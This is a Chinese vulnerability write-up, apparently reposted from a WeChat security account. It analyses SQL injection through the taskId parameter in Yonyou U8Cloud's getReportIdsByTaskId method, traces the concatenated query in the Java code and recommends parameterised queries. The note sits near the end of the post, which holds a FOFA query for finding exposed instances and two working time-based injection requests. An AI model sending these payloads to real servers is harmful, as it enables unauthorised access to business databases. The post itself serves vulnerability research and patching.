用友U8Cloud getReportIdsByTaskId方法-多处SQL注入漏洞分析 POC

admin 2025年5月19日17:52:23评论12 views字数 5497阅读18分19秒阅读模式

一、漏洞简介

U8cloud系统getReportIdsByTaskId方法存在SQL注入漏洞,未经权限校验调用该方法的服务就会存在SQL注入漏洞,攻击者未经授权可以访问数据库中的数据,从而盗取用户数据,造成用户信息泄露。

二、影响版本

1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp,5.1

三、漏洞分析

在U8cloud系统中,有多处接口类中产生SQL注入是因为调用了同一个方法名称,即getReportIdsByTaskId方法

在服务类MultiRepChooseAction方法中可以看到方法的调用逻辑

用友U8Cloud getReportIdsByTaskId方法-多处SQL注入漏洞分析 POC

此处接收传参taskId,之后传入getReportIdsByTaskId方法中,追踪该方法

用友U8Cloud getReportIdsByTaskId方法-多处SQL注入漏洞分析 POC

继续追踪get方法,此处传入taskId

用友U8Cloud getReportIdsByTaskId方法-多处SQL注入漏洞分析 POC

此处完整代码如下

public ICacheObject get(String id) {  
if (id == null || getCacheObjName() == null)  
returnnull;   
    RefreshedObjDesc obj = null;  
    ICacheObject result = null;  
    ICacheObject tempObj = this.m_cacheStore.getRealCacheObj(id);  
    obj = (RefreshedObjDesc)this.m_cacheStore.getLWCacheObj(id);  
if (tempObj == null && obj == null) {  
try {  
        result = getCacheObjByProxy(id);  
      } catch (Exception e) {  
        AppDebug.debug(e);  
      }   
    } elseif (obj != null) {  
if (getProxy() != null) {  
        ICacheObject[] objs = null;  
try {  
          objs = getProxy().loadDatas(newString[] { id });  
if (objs != null && objs.length != 0) {  
if (obj.getOpFlag() == 0) {  
              beforeInnerAdd(objs[0]);  
              innerAdd(objs[0]);  
            } else {  
              beforeInnerUpdate(objs[0]);  
              innerUpdate(objs[0]);  
            }   
            result = objs[0];  
          } else {  
            beforeInnerRemove(id);  
            innerRemove(id);  
returnnull;  
          }   
        } catch (Exception e) {  
          AppDebug.debug(e);  
returnnull;  
        }   
      }   
    } else {  
      result = tempObj;  
    }   
return result;  
  }

可以看到多处方法调用了传入的taskId,这边关注一下loadDatas方法

objs = getProxy().loadDatas(newString[] { id });

继续追踪,来到下面代码中

用友U8Cloud getReportIdsByTaskId方法-多处SQL注入漏洞分析 POC

调用id的方法为loadTaskById,继续追踪

用友U8Cloud getReportIdsByTaskId方法-多处SQL注入漏洞分析 POC

来到漏洞成因代码中,此处sql语句进行拼接,导致能够被闭合,关键代码如下

public TaskVO[] loadTaskById(String[] aryTaskIds) throws SQLException {  
if (aryTaskIds == null || aryTaskIds.length == 0)  
returnnull;   
    Connection con = null;  
    CrossDBPreparedStatement prepStmt = null;  
    ResultSet rs = null;  
try {  
      con = getConnection();  
      StringBuffer strSqlHead = new StringBuffer("select id,pk_dir,name,note,pk_key_comb,creator,date_end,createtime,bhbtask,starttime,endtime,attatch_name,state,use_dataright,commitbytask,property_value,schemepk,sealflag,batch_rule,TIMEMAIL_RULE from ");  
      strSqlHead.append("iufo_task");  
      strSqlHead.append(" where id in(");  
int nBatchCount = 500;  
int nLoopCount = aryTaskIds.length / nBatchCount;  
int nModCount = aryTaskIds.length % nBatchCount;  
      Vector<TaskVO> vecAllTask = new Vector<>();  
for (int i = 0; i < nLoopCount; i++) {  
        StringBuffer strIds = new StringBuffer();  
for (int j = 0; j < nBatchCount; j++) {  
          strIds.append("'");  
          strIds.append(aryTaskIds[i * nBatchCount + j]);  
          strIds.append("'");  
if (j != nBatchCount - 1)  
            strIds.append(",");   
        }   
        strIds.append(")");  
        StringBuffer strSql = new StringBuffer(strSqlHead.toString());  
        strSql.append(strIds.toString());  
        prepStmt = (CrossDBPreparedStatement)con.prepareStatement(strSql.toString());  
        rs = prepStmt.executeQuery();  
while (rs.next())  
          vecAllTask.addElement(generateTaskVO(rs));   
        rs.close();  
        prepStmt.close();  
      }

此处SQL语句使用append方法进行拼接,首先

      StringBuffer strSqlHead = new StringBuffer("select id,pk_dir,name,note,pk_key_comb,creator,date_end,createtime,bhbtask,starttime,endtime,attatch_name,state,use_dataright,commitbytask,property_value,schemepk,sealflag,batch_rule,TIMEMAIL_RULE from ");  
      strSqlHead.append("iufo_task");  
      strSqlHead.append(" where id in(");  

构造了SQL语句

select id,pk_dir,name,note,pk_key_comb,creator,date_end,createtime,bhbtask,starttime,endtime,attatch_name,state,use_dataright,commitbytask,property_value,schemepk,sealflag,batch_rule,TIMEMAIL_RULE from iufo_task where id in(

其次

for (int i = 0; i < nLoopCount; i++) {  
        StringBuffer strIds = new StringBuffer();  
for (int j = 0; j < nBatchCount; j++) {  
          strIds.append("'");  
          strIds.append(aryTaskIds[i * nBatchCount + j]);  
          strIds.append("'");  
if (j != nBatchCount - 1)  
            strIds.append(",");   
        }   
        strIds.append(")"); 

对where id in(后面的参数进行拼接,参数数组中每有一个参数就添加'参数值',使用逗号分隔多个参数。最后在SQL语句末尾添加),完成闭合。

因此完整的SQL语句就如下

select id,pk_dir,name,note,pk_key_comb,creator,date_end,createtime,bhbtask,starttime,endtime,attatch_name,state,use_dataright,commitbytask,property_value,schemepk,sealflag,batch_rule,TIMEMAIL_RULE from iufo_task where id in('taskId')

闭合的传参就是这样

?taskId=1');恶意SQL语句

分析完了方法之后,只有找到调用该危险方法的服务类就行,使用/service/~iufo/com.ufida.web.action.ActionServlet?action=调用指定Action类和方法,就能就行利用

搜索漏洞方法名称getReportIdsByTaskId可以看到其他类方法,如BusinessRefAction也调用了该方法

用友U8Cloud getReportIdsByTaskId方法-多处SQL注入漏洞分析 POC

因此此处也存在漏洞,传参taskId同样也可以被闭合

四、总结

U8cloud系统MultiRepChooseAction接口和BusinessRefAction接口的getReportIdsByTaskId方法中拼接SQL语句造成了SQL注入漏洞,攻击者可以构造任意的taskId参数,执行恶意的SQL语句。

五、资产测绘

FOFA语法

app="用友-U8-Cloud"
用友U8Cloud getReportIdsByTaskId方法-多处SQL注入漏洞分析 POC

六、漏洞复现

POC

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.web.reference.MultiRepChooseAction&method=execute&taskId=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

延时注入5秒

用友U8Cloud getReportIdsByTaskId方法-多处SQL注入漏洞分析 POC

同理另外一个POC

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.web.reference.BusinessRefAction&method=getTaskRepTreeRef&taskId=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

注入延时5秒,验证存在漏洞

用友U8Cloud getReportIdsByTaskId方法-多处SQL注入漏洞分析 POC

七、修复建议

安装用友U8cloud最新的补丁,或修改对应方法中拼接SQL语句的问题,使用占位符避免用户输入的参数注入到SQL语句当中。

原文始发于微信公众号(蓝云Sec):用友U8Cloud getReportIdsByTaskId方法-多处SQL注入漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月19日17:52:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用友U8Cloud getReportIdsByTaskId方法-多处SQL注入漏洞分析 POChttp://cn-sec.com/archives/4025888.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息